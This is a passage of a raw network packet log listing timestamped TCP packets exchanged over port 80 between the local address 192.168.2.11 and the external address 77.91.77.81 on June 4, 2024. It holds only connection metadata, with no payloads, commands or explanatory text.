Jun 4, 2024 23:09:16.877111912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877120018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877124071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877146959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877146959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877157927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877166986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877178907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877182007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877191067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877196074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877204895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877211094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877218962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877224922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877233028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877238989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877247095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877254963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877260923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877269030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877273083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877284050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877296925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877296925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877310991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877317905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877325058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877331018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877342939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877347946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877357006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877362013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877371073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877377033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877383947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877391100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877397060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877408981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877414942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877423048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877430916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877435923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877455950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877455950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877468109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877482891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877495050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877504110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877507925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877521038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877532005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877533913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877547979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877557039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877561092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877573013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877580881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877585888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877598047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877604961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877618074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877623081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877639055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877646923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877652884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877660036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877665997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877675056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877679110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877687931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877693892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877705097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877707958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877715111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877722025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877732992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877734900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877746105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877748013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877759933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877765894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877778053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877789021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877800941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877808094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877821922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877825022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877832890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877847910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877847910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877856970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877861023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877872944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877883911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877886057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877897024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877902031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877908945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877922058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877924919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877943993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877943993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877954006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877963066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877974987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877979994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.877988100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.877999067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878001928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878009081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878015041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878026962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878026962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878035069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878040075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878051996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878053904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878062010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878065109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878076077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878083944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878089905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878106117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878108978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878127098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878128052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878139973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878149986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878153086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878165960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878174067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878177881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878190994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878200054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878205061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878213882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878216982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878228903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878237963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878241062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878257990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878258944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878277063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878279924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878293037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878298044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878304958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878307104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878319025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878324986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878333092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878339052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878345966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878349066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878359079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878365040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878371954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878381014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878384113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878395081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878400087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878408909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878412962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878422976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878429890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878434896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878449917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878453016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878459930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878463030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878473997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878485918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878488064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878498077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878499985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878513098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878516912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878525019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878525019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878539085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878544092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878561020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878566027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878580093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878587008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878592968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878598928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878606081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878616095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878618002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878623009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878631115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878642082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878643036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878654003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878655910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878668070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878673077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878679991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878680944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878694057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878699064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878711939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878714085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878729105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878731966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878743887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878757000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878767014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878770113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878782988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878792048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878794909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878806114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878808975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878825903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878833055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878840923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878851891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878863096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878869057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878879070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878897905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878897905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878910065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878921986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878921986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878927946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878936052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878947020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878948927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878958941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878962040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878973007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878973961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878984928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.878985882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878998041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.878999949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879009962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879010916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879021883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879028082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879039049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879050970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879060984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879074097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879076004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879087925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879097939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879101992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879112959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879123926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879127979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879138947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879148006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879152060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879159927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879163980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879175901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879184961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879195929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879209042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879215002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879226923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879232883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879239082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879251003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879251957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879262924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879266024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879277945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879288912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879290104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879302979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879312038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879316092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879328012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879337072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879340887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879349947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879362106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879374027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879380941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879393101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879396915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879405022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879416943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879420042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879431009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879434109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879441977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879442930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879456997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879460096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879472971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879475117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879483938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879484892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879498005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879513025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879518986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879537106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879538059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879553080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879558086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879565954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879579067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879580021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879592896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879599094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879606009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879617929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879621029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879621029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879628897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879631042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879641056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879642963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879654884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879657030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879667997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879672050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879683018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879697084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879703999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879715919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879722118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879726887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879739046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.879745960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.879751921 CEST	80	49713	77.91.77.81	192.168.2.11
